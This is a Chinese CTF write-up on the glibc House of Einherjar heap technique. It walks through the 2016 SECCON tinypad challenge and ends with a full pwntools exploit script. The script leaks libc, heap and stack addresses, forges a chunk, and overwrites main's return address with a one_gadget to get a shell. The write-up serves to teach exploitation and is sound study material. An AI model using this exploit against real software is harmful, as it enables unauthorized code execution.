# house-of-einherjar
漏洞成因
溢出写、
off by one
、off by null
适用范围
2.23—— 至今
可分配大于处于
unsortedbin
的chunk
# 概要:
释放堆块时,unlink 后向合并堆块,强制使得 malloc 返回一个几乎任意地址的 chunk 。
free 的后向合并机制
/* consolidate backward */ | |
if (!prev_inuse(p)) { | |
prevsize = p->prev_size; | |
size += prevsize; | |
p = chunk_at_offset(p, -((long) prevsize)); | |
unlink(av, p, bck, fwd); | |
} |
# 绕过检测:
2.27 之前
- unlink 检测
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ | |
malloc_printerr (check_action, "corrupted double-linked list", P, AV) |
2.27 之后
- unlink 检测
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ | |
malloc_printerr ("corrupted size vs. prev_size"); | |
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ | |
malloc_printerr ("corrupted double-linked list"); |
# 利用思路:
one:
- 申请
chunk A、chunk B、chunk C、chunk D
,chunk D
用来做gap
,chunk A、chunk C
都要处于unsortedbin
范围 - 释放
A
,进入unsortedbin
- 对
B
写操作的时候存在off by null
,修改了C
的P
位 - 释放
C
的时候,堆后向合并,直接把A、B、C
三块内存合并为了一个chunk
,并放到了unsortedbin
里面 - 读写合并后的大
chunk
可以操作chunk B
的内容,chunk B
的头
two:
- 已有两个 chunk(最后一个 chunk,和倒数第二个 chunk),释放倒数第二个 chunk
- 重新把倒数第二个 chunk 申请回来,在最后一个内存空间(lastchunk->presize)的位置写入 offset(可以索引到 fakechunk),同时溢出 “\x00” 覆盖 lastchunk 的 P 位(lastchunk->size)
- 提前在 fakechunk 处伪造好数据:presize(offset),size,FD,BK,FDsize,BKsize,padding,size
- 释放 lastchunk
# 例题:
ctf-challenges/pwn/heap/house-of-einherjar/2016_seccon_tinypad at master · ctf-wiki/ctf-challenges (github.com)
源码比较长,简言之。可以去申请四个 chunk,申请最大至 0x100
比较重要的是
此处有 off-by-null 漏洞
可以达成 house-of-einherjar 条件
这个题虽然是低版本 libc, house-of-einherjar
的利用还是比较复杂的
下面分析代码可能比较长,因为需要去理解程序在干了什么,才能更好的利用 house-of-einherjar
Add 片段
if ( v8 != 'A' ) | |
goto LABEL_41; | |
while ( v20 <= 3 )//v20 作为计数器,记录 tinypad 数量,下面用 count 代表 v20 | |
{ | |
v9 = 16 * (v20 + 16LL); | |
if ( !*(_QWORD *)&tinypad[v9] ) | |
break; | |
++v20; | |
} | |
if ( v20 == 4 )// 若等于四个,则不能继续申请了。 | |
{ | |
writeln("No space is left.", 17LL); | |
} | |
else | |
{ | |
v22 = -1; | |
write_n("(SIZE)>>> ", 10LL, v9); | |
v22 = read_int(); | |
if ( v22 <= 0 ) | |
{ | |
v10 = 1; | |
} | |
else | |
{ | |
v10 = v22; | |
if ( (unsigned __int64)v22 > 0x100 )//v22 返回 size,最大为 0x100 | |
v10 = 256; | |
} | |
v22 = v10; | |
*(_QWORD *)&tinypad[16 * v20 + 256] = v10;// 记录 size | |
*(_QWORD *)&tinypad[16 * v20 + 264] = malloc(v22);// 记录申请 chunk 的地址 | |
v11 = 16 * (v20 + 16LL); | |
if ( !*(_QWORD *)&tinypad[v11 + 8] ) | |
{ | |
writerrln("[!] No memory is available.", 27LL); | |
exit(-1); | |
} | |
write_n("(CONTENT)>>> ", 13LL, v11); | |
read_until(*(_QWORD *)&tinypad[16 * v20 + 264], v22, 10LL);// 以 v22 长度输入到 chunk | |
writeln("\nAdded.", 7LL); |
Del 片段
if ( v8 == 'D' ) | |
{ | |
write_n("(INDEX)>>> ", 11LL, v9); | |
count = read_int(); | |
if ( count <= 0 || count > 4 ) | |
{ | |
LABEL_29: | |
writeln("Invalid index", 13LL); | |
continue; | |
} | |
if ( !*(_QWORD *)&tinypad[16 * count + 240] ) | |
{ | |
LABEL_31: | |
writeln("Not used", 8LL); | |
continue; | |
} | |
free(*(void **)&tinypad[16 * count + 248]); | |
*(_QWORD *)&tinypad[16 * count + 240] = 0LL;// 比较有意思,只是置空了 size 大小 | |
// 指针未置空,存在 UAF 漏洞 | |
writeln("\nDeleted.", 9LL); | |
} |
Edi 片段
if ( v8 != 'E' ) | |
{ | |
if ( v8 == 'Q' ) | |
continue; | |
LABEL_41: | |
writeln("No such a command", 17LL); | |
continue; | |
} | |
write_n("(INDEX)>>> ", 11LL, v9); | |
count = read_int(); | |
if ( count <= 0 || count > 4 ) | |
goto LABEL_29; | |
if ( !*(_QWORD *)&tinypad[16 * count + 240] ) | |
goto LABEL_31; | |
c = 48; | |
strcpy(tinypad, *(const char **)&tinypad[16 * count + 248]); | |
while ( toupper(c) != 'Y' ) | |
{ | |
write_n("CONTENT: ", 9LL, v16); | |
v12 = strlen(tinypad); | |
writeln(tinypad, v12); | |
write_n("(CONTENT)>>> ", 13LL, v13); | |
v14 = strlen(*(const char **)&tinypad[16 * count + 248]);// 返回之前 Add 的数据长度 | |
read_until(tinypad, v14, 10LL);// 以之前数据长度去进行输入 | |
writeln("Is it OK?", 9LL); | |
write_n("(Y/n)>>> ", 9LL, v15); | |
read_until(&c, 1LL, 10LL); | |
} | |
strcpy(*(char **)&tinypad[16 * count + 248], tinypad); | |
writeln("\nEdited.", 8LL); | |
} |
分析完代码之后,想象一下如何泄露 libc_addr 和 heap_addr。可以挂一个 unsortedbin 和两个 fastbin 去写了
def Add(size,content): | |
sla("(CMD)>>> ",b'A') | |
sla("(SIZE)>>> ",str(size)) | |
sla("(CONTENT)>>> ",content) | |
def Del(index): | |
sla("(CMD)>>> ",b'D') | |
sla("(INDEX)>>> ",str(index)) | |
def Edi(index,content): | |
sla("(CMD)>>> ",b'E') | |
sla("(INDEX)>>> ",str(index)) | |
sla("(CONTENT)>>> ",content) | |
sla("(Y/n)>>> ",b'Y') |
泄露 libc 和 heap
Add(0x80,padding(0x80)) | |
Add(0x40,padding(0x40)) | |
Add(0x40,padding(0x40)) | |
Add(0xf0,padding(0xf0)) | |
Del(1) | |
ru("# INDEX: 1\n") | |
ru("# CONTENT: ") | |
unsortedbin_addr = u64(rc(6).ljust(8,b'\x00')) | |
lg('unsortedbin_addr') | |
libc_base = unsortedbin_addr - 88 - 0x3C4B20 | |
lg('libc_base') | |
Del(3) | |
Del(2) | |
ru("# INDEX: 2\n") | |
ru("# CONTENT: ") | |
heap_addr = u64(rc(3).ljust(8,b'\x00')) | |
heap_base = heap_addr - 0xe0 | |
lg('heap_base') | |
Del(4) |
接下来进行 house-of-einherjar
环节
因为这个题的 Edi 写入的缘故,利用方法 1 还是比较难以操作,可以成方法 1 为三明治攻击
所以我们利用 offset,去申请非 heap 区的区域,此题最合适的可以去利用 tinypad
,去伪造 chunk。
Add(0x18,b'a'*0x18)#chunk1 | |
Add(0xf0,b'b'*0xf0)#chunk2 | |
Add(0x100,b'c'*0xf8)#chunk3 | |
Add(0x100,b'd'*0x100)#chunk4 |
申请四个 chunk,利用前两个 chunk 进行 house-of-einherjar
流程
由 Edi 的原因,在将 chunk2 的 p 位去置 0 需要进行循环写入操作
tinypad = 0x602040 | |
offset = heap_base - tinypad | |
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1): | |
Edi(1,b'b'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f')) |
0x603000 0x0000000000000000 0x0000000000000021 ........!.......---->chunk1
0x603010 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x603020 0x0000000000000fc0 0x0000000000000100 ................---->chunk2
0x603030 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
接下来我们去 free 掉 chunk,就可以通过 chunk_addr - presize
定位到下一个 free_chunk (fake_chunk)
所以我们可以通过 Edi 操作,进行伪造 chunk
pl1 = padding(0x20) + p64(0) + p64(0x101) + p64(tinypad+0x20) + p64(tinypad+0x20) | |
Edi(2,pl1) |
0x602060 <tinypad+32>: 0x0000000000000000 0x0000000000000101---->fake_chunk
0x602070 <tinypad+48>: 0x0000000000602060 0x0000000000602060
0x602080 <tinypad+64>: 0x6262626262626200 0x6262626262626262
0x602090 <tinypad+80>: 0x6262626262626262 0x6262626262626262
0x6020a0 <tinypad+96>: 0x6262626262626262 0x6262626262626262
接下来 free chunk2,绕过 unlink 检测
Del(2)
0x602060 <tinypad+32>: 0x0000000000000000 0x00000000000010c1
0x602070 <tinypad+48>: 0x00007ffff7bc4b78 0x00007ffff7bc4b78------> 改成正常地址可分配
0x602080 <tinypad+64>: 0x0000000000000000 0x0000000000000000pl2 = b’b’*0x20 + p64(0) + p64(0x101) + p64(tinypad+0x30) + p64(tinypad+0x30)
Edi(3,pl2)
env = libc_base + libc.sym['__environ'] | |
pl3 = b'c'*0xd0 + p64(0x18) + p64(env) + p64(0xf0) + p64(0x602148) | |
Add(0xf0,pl3) |
在 tinypad 去进行任意读写 chunk
0x602140 <tinypad+256>: 0x0000000000000018 0x00007ffff7bc6f38 chunk1
0x602150 <tinypad+272>: 0x00000000000000f0 0x0000000000602148 chunk2
0x602160 <tinypad+288>: 0x0000000000000100 0x0000000000603131 chunk3
0x602170 <tinypad+304>: 0x0000000000000100 0x0000000000603240 chunk4
chunk1 可以直接读 stack 地址,chunk2 可以指向 chunk1 位置,此时可以将 chunk1 当前的 env 改写成 ret 地址
chunk2 结构
0x602138 <tinypad+248>: 0x6363636363636363 0x0000000000000018
0x602148 <tinypad+264>: 0x00007ffff7bc6f38 0x00000000000000f0
0x602158 <tinypad+280>: 0x0000000000602148 0x0000000000000100
0x602168 <tinypad+296>: 0x0000000000603131 0x0000000000000100
0x602178 <tinypad+312>: 0x0000000000603240 0x0000000000000000
ogg = [0xf03a4,0x4527a,0xf1247] | |
og = libc_base + ogg[2] | |
ru("# INDEX: 1\n") | |
ru("# CONTENT: ") | |
stack_addr = u64(rc(6).ljust(8,b'\x00')) | |
lg('stack_addr') | |
main_ret = stack_addr - 8*30 # main_ret_addr 固定偏移 8*30 | |
Edi(2,p64(main_ret)) | |
Edi(1,p64(og)) | |
sl(b'Q') |
# 完整 exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = "/home/yhuan/Desktop/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6" | |
# host, port = ":".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def Add(size,content): | |
sla("(CMD)>>> ",b'A') | |
sla("(SIZE)>>> ",str(size)) | |
sla("(CONTENT)>>> ",content) | |
def Del(index): | |
sla("(CMD)>>> ",b'D') | |
sla("(INDEX)>>> ",str(index)) | |
def Edi(index,content): | |
sla("(CMD)>>> ",b'E') | |
sla("(INDEX)>>> ",str(index)) | |
sla("(CONTENT)>>> ",content) | |
sla("(Y/n)>>> ",b'Y') | |
Add(0x80,padding(0x80)) | |
Add(0x40,padding(0x40)) | |
Add(0x40,padding(0x40)) | |
Add(0xf0,padding(0xf0)) | |
Del(1) | |
ru("# INDEX: 1\n") | |
ru("# CONTENT: ") | |
unsortedbin_addr = u64(rc(6).ljust(8,b'\x00')) | |
lg('unsortedbin_addr') | |
main_arena = unsortedbin_addr - 88 | |
libc_base = main_arena - 0x3C4B20 | |
lg('libc_base') | |
Del(3) | |
Del(2) | |
ru("# INDEX: 2\n") | |
ru("# CONTENT: ") | |
heap_addr = u64(rc(3).ljust(8,b'\x00')) | |
lg('heap_addr') | |
heap_base = heap_addr - 0xe0 | |
lg('heap_base') | |
Del(4) | |
tinypad = 0x602040 | |
offset = heap_base - tinypad | |
Add(0x18,b'a'*0x18) | |
Add(0xf0,b'b'*0xf0) | |
Add(0x100,b'c'*0xf8) | |
Add(0x100,b'd'*0x100) | |
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1): | |
Edi(1,b'b'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f')) | |
pl1 = padding(0x20) + p64(0) + p64(0x101) + p64(tinypad+0x20) + p64(tinypad+0x20) | |
Edi(2,pl1) | |
Del(2) | |
pl2 = b'b'*0x20 + p64(0) + p64(0x101) + p64(tinypad+0x30) + p64(tinypad+0x30) | |
Edi(3,pl2) | |
env = libc_base + libc.sym['__environ'] | |
pl3 = b'c'*0xd0 + p64(0x18) + p64(env) + p64(0xf0) + p64(0x602148) | |
Add(0xf0,pl3) | |
ogg = [0xf03a4,0x4527a,0xf1247] | |
og = libc_base + ogg[2] | |
ru("# INDEX: 1\n") | |
ru("# CONTENT: ") | |
stack_addr = u64(rc(6).ljust(8,b'\x00')) | |
lg('stack_addr') | |
main_ret = stack_addr - 8*30 | |
Edi(2,p64(main_ret)) | |
Edi(1,p64(og)) | |
sl(b'Q') | |
it() |
参考:
House of 系列堆漏洞详解 (一) - 先知社区 (aliyun.com)
Glibc 堆利用之 house of 系列总结 - roderick - record and learn! (roderickchan.github.io)
House Of Einherjar - CTF Wiki (ctf-wiki.org)
[House Of Einherjar - 原理 | Pwn 进你的心 (ywhkkx.github.io)](https://ywhkkx.github.io/2022/03/08/House Of Einherjar - 原理 /)
PWN——House Of Einherjar CTF Wiki 例题详解 - 安全客 - 安全资讯平台 (anquanke.com)
2016 Seccon tinypad-CSDN 博客
增文:
/* consolidate backward */ | |
if (!prev_inuse(p)) { | |
prevsize = p->prev_size; | |
size += prevsize; | |
p = chunk_at_offset(p, -((long) prevsize)); | |
unlink(av, p, bck, fwd); | |
} | |
#define unlink(AV, P, BK, FD) { \ | |
FD = P->fd; \ | |
BK = P->bk; \ | |
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ | |
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ | |
else { \ | |
FD->bk = BK; \ | |
BK->fd = FD; \ | |
if (!in_smallbin_range (P->size) \ | |
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \ | |
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ | |
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ | |
malloc_printerr (check_action, \ | |
"corrupted double-linked list (not small)", \ | |
P, AV); \ | |
if (FD->fd_nextsize == NULL) { \ | |
if (P->fd_nextsize == P) \ | |
FD->fd_nextsize = FD->bk_nextsize = FD; \ | |
else { \ | |
FD->fd_nextsize = P->fd_nextsize; \ | |
FD->bk_nextsize = P->bk_nextsize; \ | |
P->fd_nextsize->bk_nextsize = FD; \ | |
P->bk_nextsize->fd_nextsize = FD; \ | |
} \ | |
} else { \ | |
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ | |
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ | |
} \ | |
} \ | |
} \ | |
} |
个人人为此次攻击利用和攻击面上都比较大